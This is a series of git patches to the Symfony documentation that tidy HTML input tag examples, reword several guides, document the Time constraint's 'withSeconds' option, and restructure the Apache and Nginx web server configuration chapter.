--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -245,7 +245,7 @@ You can find a list of existing mime types on the `IANA website`_.
 
     When using this constraint on a :doc:`FileType field </reference/forms/types/file>`,
     the value of the ``mimeTypes`` option is also used in the ``accept``
-    attribute of the related ``<input type="file"/>`` HTML element.
+    attribute of the related ``<input type="file">`` HTML element.
 
     This behavior is applied only when using :ref:`form type guessing <form-type-guessing>`
     (i.e. the form type is not defined explicitly in the ``->add()`` method of
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 9a5f06c2a9e..90752042409 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -2,7 +2,7 @@ EmailType Field
 ===============
 
 The ``EmailType`` field is a text field that is rendered using the HTML5
-``<input type="email"/>`` tag.
+``<input type="email">`` tag.
 
 +---------------------------+---------------------------------------------------------------------+
 | Rendered as               | ``input`` ``email`` field (a text box)                              |
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 9da6407f881..95e4bcff64c 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -2,7 +2,7 @@ RangeType Field
 ===============
 
 The ``RangeType`` field is a slider that is rendered using the HTML5
-``<input type="range"/>`` tag.
+``<input type="range">`` tag.
 
 +---------------------------+---------------------------------------------------------------------+
 | Rendered as               | ``input`` ``range`` field (slider in HTML5 supported browser)       |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index 8eeefb053d5..d99b8fefc0a 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -1,7 +1,7 @@
 SearchType Field
 ================
 
-This renders an ``<input type="search"/>`` field, which is a text box with
+This renders an ``<input type="search">`` field, which is a text box with
 special functionality supported by some browsers.
 
 Read about the input search field at `DiveIntoHTML5.info`_
diff --git a/security.rst b/security.rst
index b629cc7cfc3..5b38acb53ea 100644
--- a/security.rst
+++ b/security.rst
@@ -794,13 +794,13 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
+            <input type="text" id="username" name="_username" value="{{ last_username }}">
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password"/>
+            <input type="password" id="password" name="_password">
 
             {# If you want to control the URL the user is redirected to on success
-            <input type="hidden" name="_target_path" value="/account"/> #}
+            <input type="hidden" name="_target_path" value="/account"> #}
 
             <button type="submit">login</button>
         </form>
diff --git a/security/csrf.rst b/security/csrf.rst
index a03cfc59c00..fd89ff17ba9 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -141,7 +141,7 @@ generate a CSRF token in the template and store it as a hidden form field:
 
     <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post">
         {# the argument of csrf_token() is an arbitrary string used to generate the token #}
-        <input type="hidden" name="token" value="{{ csrf_token('delete-item') }}"/>
+        <input type="hidden" name="token" value="{{ csrf_token('delete-item') }}">
 
         <button type="submit">Delete item</button>
     </form>
diff --git a/security/form_login.rst b/security/form_login.rst
index ec8f4a1d373..a285f26fcf9 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -157,8 +157,8 @@ Defining the redirect URL via POST using a hidden form field:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="_target_path" value="{{ path('account') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="_target_path" value="{{ path('account') }}">
+        <input type="submit" name="login">
     </form>
 
 Using the Referring URL
@@ -301,8 +301,8 @@ This option can also be set via the ``_failure_path`` request parameter:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}">
+        <input type="submit" name="login">
     </form>
 
 Customizing the Target and Failure Request Parameters
@@ -380,7 +380,7 @@ are now fully customized:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="go_to" value="{{ path('dashboard') }}"/>
-        <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="go_to" value="{{ path('dashboard') }}">
+        <input type="hidden" name="back_to" value="{{ path('forgot_password') }}">
+        <input type="submit" name="login">
     </form>
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 1d69cc9a555..19b6cb44a7b 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -124,7 +124,7 @@ checkbox must have a name of ``_remember_me``:
         {# ... your form fields #}
 
         <label>
-            <input type="checkbox" name="_remember_me" checked/>
+            <input type="checkbox" name="_remember_me" checked>
             Keep me logged in
         </label>
 

From 09449352ac70826458372f638044bdd762ea5406 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Aug 2023 17:26:27 +0200
Subject: [PATCH 4949/7107] Minor tweak

---
 controller.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/controller.rst b/controller.rst
index a6d7178832f..e4874f3d9f0 100644
--- a/controller.rst
+++ b/controller.rst
@@ -430,9 +430,8 @@ attribute in your controller::
         // ...
     }
 
-You can customize the validation groups used during the mapping thanks to the
-``validationGroups`` option, but also the HTTP status to return if the
-validation fails::
+You can customize the validation groups used during the mapping and also the
+HTTP status to return if the validation fails::
 
     use Symfony\Component\HttpFoundation\Response;
 

From 57e16fea74adc1feae12721732665f5a307eaf32 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Aug 2023 17:52:49 +0200
Subject: [PATCH 4950/7107] Minor tweaks

---
 workflow.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 182b2aed825..dad77a90386 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -196,8 +196,8 @@ The configured property will be used via its implemented getter/setter methods b
         }
     }
 
-It is also possible to use public properties to be used by the marking
-store. The above class would become the following::
+It is also possible to use public properties for the marking store. The above
+class would become the following::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;
@@ -210,8 +210,8 @@ store. The above class would become the following::
         public string $content;
     }
 
-When using public properties, context is not supported. In order
-to support it, you must declare a setter to write your property::
+When using public properties, context is not supported. In order to support it,
+you must declare a setter to write your property::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;
@@ -223,13 +223,13 @@ to support it, you must declare a setter to write your property::
 
         public function setCurrentPlace(string $currentPlace, array $context = []): void
         {
-            // Assign the property and so something with `$context`
+            // assign the property and do something with the context
         }
     }
 
 .. versionadded:: 6.4
 
-    The support of using public properties instead of getter/setter methods
+    The feature to use public properties instead of getter/setter methods
     and private properties was introduced in Symfony 6.4.
 
 .. note::

From f76d264ce6f4eaee4608120a0190886de34ae7f0 Mon Sep 17 00:00:00 2001
From: Dmitrii Derepko <xepozz@list.ru>
Date: Tue, 1 Aug 2023 18:59:36 +0300
Subject: [PATCH 4951/7107] docs: Add documentation about new constraint option
 `withSeconds`

---
 reference/constraints/Time.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 8b69d2c3b00..6d4de73398f 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -101,4 +101,18 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+``withSeconds``
+~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+This option allows you to specify whether the time should include seconds.
+
+=========  ===============================  ==============  ================
+Option     Pattern                          Correct value   Incorrect value
+=========  ===============================  ==============  ================
+``true``   ``/^(\d{2}):(\d{2}):(\d{2})$/``  ``12:00:00``    ``12:00``
+``false``  ``/^(\d{2}):(\d{2})$/``          ``12:00``       ``12:00:00``
+=========  ===============================  ==============  ================
+
 .. include:: /reference/constraints/_payload-option.rst.inc

From 4e908413aee2b989414c02756523b0fbddfbe55c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 1 Aug 2023 19:26:27 +0200
Subject: [PATCH 4952/7107] Use Doctor RST 1.48.1

---
 .doctor-rst.yaml          | 1 -
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 29ef1e4506e..35125df61d6 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -103,6 +103,5 @@ whitelist:
         - '.. versionadded:: 0.2' # MercureBundle
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
-        - '// bin/console'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 4bed1d4dd23..482c55d7237 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.48.0
+                uses: docker://oskarstark/doctor-rst:1.48.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 46633f2cfe62c7a910020c3ca6993024e9c5f4bd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Aug 2023 08:30:28 +0200
Subject: [PATCH 4953/7107] Add the versionadded directive

---
 reference/constraints/Time.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 6d4de73398f..1732fb584f0 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -115,4 +115,8 @@ Option     Pattern                          Correct value   Incorrect value
 ``false``  ``/^(\d{2}):(\d{2})$/``          ``12:00``       ``12:00:00``
 =========  ===============================  ==============  ================
 
+.. versionadded:: 6.4
+
+    The ``withSeconds`` option was introduced in Symfony 6.4.
+
 .. include:: /reference/constraints/_payload-option.rst.inc

From 518e596eaacc12308f4338f6a8b21e76e1ea36f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Aug 2023 08:48:47 +0200
Subject: [PATCH 4954/7107] Added some context information

---
 components/intl.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 7983efb5eeb..3981062f5b7 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -182,8 +182,16 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes::
 Numeric Country Codes
 ~~~~~~~~~~~~~~~~~~~~~
 
-The :class:`Symfony\\Component\\Intl\\Countries` class also provides access to the
-numeric country codes according to the `ISO 3166-1 numeric`_ list::
+The `ISO 3166-1 numeric`_ standard defines three-digit country codes to represent
+countries, dependent territories, and special areas of geographical interest.
+
+The main advantage over the ISO 3166-1 alphabetic codes (alpha-2 and alpha-3) is
+that these numeric codes are independent from the writing system. The alphabetic
+codes use the 26-letter English alphabet, which might be unavailable or difficult
+to use for people and systems using non-Latin scripts (e.g. Arabic or Japanese).
+
+The :class:`Symfony\\Component\\Intl\\Countries` class provides access to these
+numeric country codes::
 
     use Symfony\Component\Intl\Countries;
 

From 7f314f5f47557c6a94a8a621016fd7494e32740c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Aug 2023 09:27:25 +0200
Subject: [PATCH 4955/7107] Reword

---
 service_container.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 047be2518e7..5065effb976 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -837,15 +837,16 @@ argument for *any* service defined in this file! You can bind arguments by name
 The ``bind`` config can also be applied to specific services or when loading many
 services at once (i.e. :ref:`service-psr4-loader`).
 
-Abstract service arguments
+Abstract Service Arguments
 --------------------------
 
-Sometimes, when defining services in your Symfony applications, there are arguments
-that can't be added in config files. The reason is that their values can only be
-calculated at runtime in a :doc:`compiler pass </service_container/compiler_passes>`
+Sometimes, the values of some service arguments can't be defined in the
+configuration files because they are calculated at runtime using a
+:doc:`compiler pass </service_container/compiler_passes>`
 or :doc:`bundle extension </bundles/extension>`.
 
-If value is not replaced a ``RuntimeException`` would be thrown.
+In those cases, you can use the ``abstract`` argument type to define at least
+the name of the argument and some short description about its purpose:
 
 .. configuration-block::
 
@@ -899,9 +900,13 @@ If value is not replaced a ``RuntimeException`` would be thrown.
             // ...
         };
 
-In this case, if you don't replace the value, ``RuntimeException`` will be thrown
-with message ``Argument "$rootNamespace" of service "App\Service\MyService" is
-abstract: should be defined by Pass.``
+If you don't replace the value of an abstract argument during runtime, a
+``RuntimeException`` will be thrown with a message like
+``Argument "$rootNamespace" of service "App\Service\MyService" is abstract: should be defined by Pass.``
+
+.. versionadded:: 5.1
+
+    The abstract service arguments were introduced in Symfony 5.1.
 
 .. _services-autowire:
 

From aadda225bd541a0425fdf47fc891d1d4cfebea14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Aug 2023 09:28:46 +0200
Subject: [PATCH 4956/7107] Remove the versionadded directive

---
 service_container.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 8bad77ae4b9..81d8d12569b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -991,10 +991,6 @@ If you don't replace the value of an abstract argument during runtime, a
 ``RuntimeException`` will be thrown with a message like
 ``Argument "$rootNamespace" of service "App\Service\MyService" is abstract: should be defined by Pass.``
 
-.. versionadded:: 5.1
-
-    The abstract service arguments were introduced in Symfony 5.1.
-
 .. _services-autowire:
 
 The autowire Option

From 035af33a75685f21e785818ff3c447de71c6417d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 15 Nov 2021 12:10:41 +0100
Subject: [PATCH 4957/7107] modernize the web server configuration chapter

---
 setup/web_server_configuration.rst | 355 +++++++----------------------
 1 file changed, 82 insertions(+), 273 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index f5f259413b5..7090572379a 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -5,17 +5,12 @@ The preferred way to develop your Symfony application is to use
 :doc:`Symfony Local Web Server </setup/symfony_server>`.
 
 However, when running the application in the production environment, you'll need
-to use a fully-featured web server. This article describes several ways to use
-Symfony with Apache or Nginx.
+to use a fully-featured web server. This article describes how to use Symfony
+with Apache or Nginx.
 
-When using Apache, you can configure PHP as an
-:ref:`Apache module <web-server-apache-mod-php>` or with FastCGI using
-:ref:`PHP FPM <web-server-apache-fpm>`. FastCGI also is the preferred way
-to use PHP :ref:`with Nginx <web-server-nginx>`.
+.. sidebar:: The public directory
 
-.. sidebar:: The ``public/`` directory
-
-    The ``public/`` directory is the home of all of your application's public and
+    The public directory is the home of all of your application's public and
     static files, including images, stylesheets and JavaScript files. It is
     also where the front controller (``index.php``) lives.
 
@@ -27,7 +22,83 @@ to use PHP :ref:`with Nginx <web-server-nginx>`.
     another location (e.g. ``public_html/``) make sure you
     :ref:`override the location of the public/ directory <override-web-dir>`.
 
-.. _web-server-nginx:
+Apache with PHP-FPM
+-------------------
+
+To make use of PHP-FPM with Apache, you first have to ensure that you have
+the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
+installed (for example, on a Debian based system you have to install the
+``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
+
+PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
+configure an arbitrary number of pools in the FPM configuration. In a pool
+you configure either a TCP socket (IP and port) or a Unix domain socket to
+listen on. Each pool can also be run under a different UID and GID:
+
+.. code-block:: ini
+
+    ; a pool called www
+    [www]
+    user = www-data
+    group = www-data
+
+    ; use a unix domain socket
+    listen = /var/run/php/php7.4-fpm.sock
+
+    ; or listen on a TCP socket
+    listen = 127.0.0.1:9000
+
+Using mod_proxy_fcgi with Apache 2.4
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you are running Apache 2.4, you can use ``mod_proxy_fcgi`` to pass incoming
+requests to PHP-FPM. Configure PHP-FPM to listen on a TCP or Unix socket, enable
+``mod_proxy`` and ``mod_proxy_fcgi`` in your Apache configuration, and use the
+``SetHandler`` directive to pass requests for PHP files to PHP FPM:
+
+.. code-block:: apache
+
+    <VirtualHost *:80>
+        ServerName domain.tld
+        ServerAlias www.domain.tld
+
+        # Uncomment the following line to force Apache to pass the Authorization
+        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
+        #
+        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
+
+        # For Apache 2.4.9 or higher
+        # Using SetHandler avoids issues with using ProxyPassMatch in combination
+        # with mod_rewrite or mod_autoindex
+        <FilesMatch \.php$>
+            SetHandler proxy:fcgi://127.0.0.1:9000
+            # for Unix sockets, Apache 2.4.10 or higher
+            # SetHandler proxy:unix:/path/to/fpm.sock|fcgi://dummy
+        </FilesMatch>
+
+        # If you use Apache version below 2.4.9 you must consider update or use this instead
+        # ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
+
+        # If you run your Symfony application on a subpath of your document root, the
+        # regular expression must be changed accordingly:
+        # ProxyPassMatch ^/path-to-app/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
+
+        DocumentRoot /var/www/project/public
+        <Directory /var/www/project/public>
+            AllowOverride None
+            Require all granted
+            FallbackResource /index.php
+        </Directory>
+
+        # uncomment the following lines if you install assets as symlinks
+        # or run into problems when compiling LESS/Sass/CoffeeScript assets
+        # <Directory /var/www/project>
+        #     Options FollowSymlinks
+        # </Directory>
+
+        ErrorLog /var/log/apache2/project_error.log
+        CustomLog /var/log/apache2/project_access.log combined
+    </VirtualHost>
 
 Nginx
 -----
@@ -53,7 +124,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 
@@ -115,268 +186,6 @@ The **minimum configuration** to get your application running under Nginx is:
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
-.. _web-server-apache-mod-php:
-
-Adding Rewrite Rules for Apache
--------------------------------
-
-The easiest way is to install the ``apache`` :ref:`Symfony pack <symfony-packs>`
-by executing the following command:
-
-.. code-block:: terminal
-
-    $ composer require symfony/apache-pack
-
-This pack installs a ``.htaccess`` file in the ``public/`` directory that contains
-the rewrite rules needed to serve the Symfony application.
-
-In production servers, you should move the ``.htaccess`` rules into the main
-Apache configuration file to improve performance. To do so, copy the
-``.htaccess`` contents inside the ``<Directory>`` configuration associated to
-the Symfony application ``public/`` directory (and replace ``AllowOverride All``
-by ``AllowOverride None``):
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        # ...
-        DocumentRoot /var/www/project/public
-
-        <Directory /var/www/project/public>
-            AllowOverride None
-
-            # Copy .htaccess contents here
-        </Directory>
-    </VirtualHost>
-
-Apache with mod_php/PHP-CGI
----------------------------
-
-The **minimum configuration** to get your application running under Apache is:
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            AllowOverride All
-            Order Allow,Deny
-            Allow from All
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-.. tip::
-
-    If your system supports the ``APACHE_LOG_DIR`` variable, you may want
-    to use ``${APACHE_LOG_DIR}/`` instead of hardcoding ``/var/log/apache2/``.
-
-Use the following **optimized configuration** to disable ``.htaccess`` support
-and increase web server performance:
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
-
-        DocumentRoot /var/www/project/public
-        DirectoryIndex /index.php
-
-        <Directory /var/www/project/public>
-            AllowOverride None
-            Order Allow,Deny
-            Allow from All
-
-            FallbackResource /index.php
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        # optionally disable the fallback resource for the asset directories
-        # which will allow Apache to return a 404 error when files are
-        # not found instead of passing the request to Symfony
-        <Directory /var/www/project/public/bundles>
-            DirectoryIndex disabled
-            FallbackResource disabled
-        </Directory>
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-
-        # optionally set the value of the environment variables used in the application
-        #SetEnv APP_ENV prod
-        #SetEnv APP_SECRET <app-secret-id>
-        #SetEnv DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name"
-    </VirtualHost>
-
-.. caution::
-
-    Use ``FallbackResource`` on Apache 2.4.25 or higher, due to a bug which was
-    fixed on that release causing the root ``/`` to hang.
-
-.. tip::
-
-    If you are using **php-cgi**, Apache does not pass HTTP basic username and
-    password to PHP by default. To work around this limitation, you should use
-    the following configuration snippet:
-
-    .. code-block:: apache
-
-        RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
-
-Using mod_php/PHP-CGI with Apache 2.4
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-In Apache 2.4, ``Order Allow,Deny`` has been replaced by ``Require all granted``.
-Hence, you need to modify your ``Directory`` permission settings as follows:
-
-.. code-block:: apache
-
-    <Directory /var/www/project/public>
-        Require all granted
-        # ...
-    </Directory>
-
-For advanced Apache configuration options, read the official `Apache documentation`_.
-
-.. _web-server-apache-fpm:
-
-Apache with PHP-FPM
--------------------
-
-To make use of PHP-FPM with Apache, you first have to ensure that you have
-the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
-installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php<version>-fpm`` packages).
-
-PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
-configure an arbitrary number of pools in the FPM configuration. In a pool
-you configure either a TCP socket (IP and port) or a Unix domain socket to
-listen on. Each pool can also be run under a different UID and GID:
-
-.. code-block:: ini
-
-    ; a pool called www
-    [www]
-    user = www-data
-    group = www-data
-
-    ; use a unix domain socket
-    listen = /var/run/php/php-fpm.sock
-
-    ; or listen on a TCP socket
-    listen = 127.0.0.1:9000
-
-Using mod_proxy_fcgi with Apache 2.4
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you are running Apache 2.4, you can use ``mod_proxy_fcgi`` to pass incoming
-requests to PHP-FPM. Configure PHP-FPM to listen on a TCP or Unix socket, enable
-``mod_proxy`` and ``mod_proxy_fcgi`` in your Apache configuration, and use the
-``SetHandler`` directive to pass requests for PHP files to PHP FPM:
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
-
-        # Uncomment the following line to force Apache to pass the Authorization
-        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
-        #
-        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
-
-        # For Apache 2.4.9 or higher
-        # Using SetHandler avoids issues with using ProxyPassMatch in combination
-        # with mod_rewrite or mod_autoindex
-        <FilesMatch \.php$>
-            SetHandler proxy:fcgi://127.0.0.1:9000
-            # for Unix sockets, Apache 2.4.10 or higher
-            # SetHandler proxy:unix:/path/to/fpm.sock|fcgi://dummy
-        </FilesMatch>
-
-        # If you use Apache version below 2.4.9 you must consider update or use this instead
-        # ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
-
-        # If you run your Symfony application on a subpath of your document root, the
-        # regular expression must be changed accordingly:
-        # ProxyPassMatch ^/path-to-app/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            # enable the .htaccess rewrites
-            AllowOverride All
-            Require all granted
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-PHP-FPM with Apache 2.2
-~~~~~~~~~~~~~~~~~~~~~~~
-
-On Apache 2.2 or lower, you cannot use ``mod_proxy_fcgi``. You have to use
-the `FastCgiExternalServer`_ directive instead. Therefore, your Apache configuration
-should look something like this:
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
-
-        AddHandler php7-fcgi .php
-        Action php7-fcgi /php7-fcgi
-        Alias /php7-fcgi /usr/lib/cgi-bin/php7-fcgi
-        FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -host 127.0.0.1:9000 -pass-header Authorization
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            # enable the .htaccess rewrites
-            AllowOverride All
-            Order Allow,Deny
-            Allow from all
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-If you prefer to use a Unix socket, you have to use the ``-socket`` option
-instead:
-
-.. code-block:: apache
-
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php-fpm.sock -pass-header Authorization
-
 .. _`Apache documentation`: https://httpd.apache.org/docs/
 .. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer
 .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/

From 33ea1fa13bd986c5021b8dbada9cb1af3ea1211b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 20 Dec 2022 22:55:59 +0100
Subject: [PATCH 4958/7107] Clean-up Apache and Nginx parts

---
 setup/web_server_configuration.rst | 109 +++++++++++++++++++----------
 1 file changed, 72 insertions(+), 37 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 7090572379a..1682c8a58de 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -22,13 +22,12 @@ with Apache or Nginx.
     another location (e.g. ``public_html/``) make sure you
     :ref:`override the location of the public/ directory <override-web-dir>`.
 
-Apache with PHP-FPM
+Configuring PHP-FPM
 -------------------
 
-To make use of PHP-FPM with Apache, you first have to ensure that you have
-the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
-installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
+All configuration examples below use the PHP FastCGI process manager
+(PHP-FPM). Ensure that you have installed PHP-FPM (for example, on a Debian
+based system you have to install the ``php-fpm`` package).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -37,6 +36,8 @@ listen on. Each pool can also be run under a different UID and GID:
 
 .. code-block:: ini
 
+    ; /etc/php/7.4/fpm/pool.d/www.conf
+
     ; a pool called www
     [www]
     user = www-data
@@ -45,43 +46,37 @@ listen on. Each pool can also be run under a different UID and GID:
     ; use a unix domain socket
     listen = /var/run/php/php7.4-fpm.sock
 
-    ; or listen on a TCP socket
-    listen = 127.0.0.1:9000
+    ; or listen on a TCP connection
+    ; listen = 127.0.0.1:9000
 
-Using mod_proxy_fcgi with Apache 2.4
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Apache
+------
 
-If you are running Apache 2.4, you can use ``mod_proxy_fcgi`` to pass incoming
-requests to PHP-FPM. Configure PHP-FPM to listen on a TCP or Unix socket, enable
-``mod_proxy`` and ``mod_proxy_fcgi`` in your Apache configuration, and use the
-``SetHandler`` directive to pass requests for PHP files to PHP FPM:
+If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
+incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
+(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
+``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
+directive to pass requests for PHP files to PHP FPM:
 
 .. code-block:: apache
 
+    # /etc/apache2/conf.d/example.com.conf
     <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
+        ServerName example.com
+        ServerAlias www.example.com
 
         # Uncomment the following line to force Apache to pass the Authorization
         # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
         #
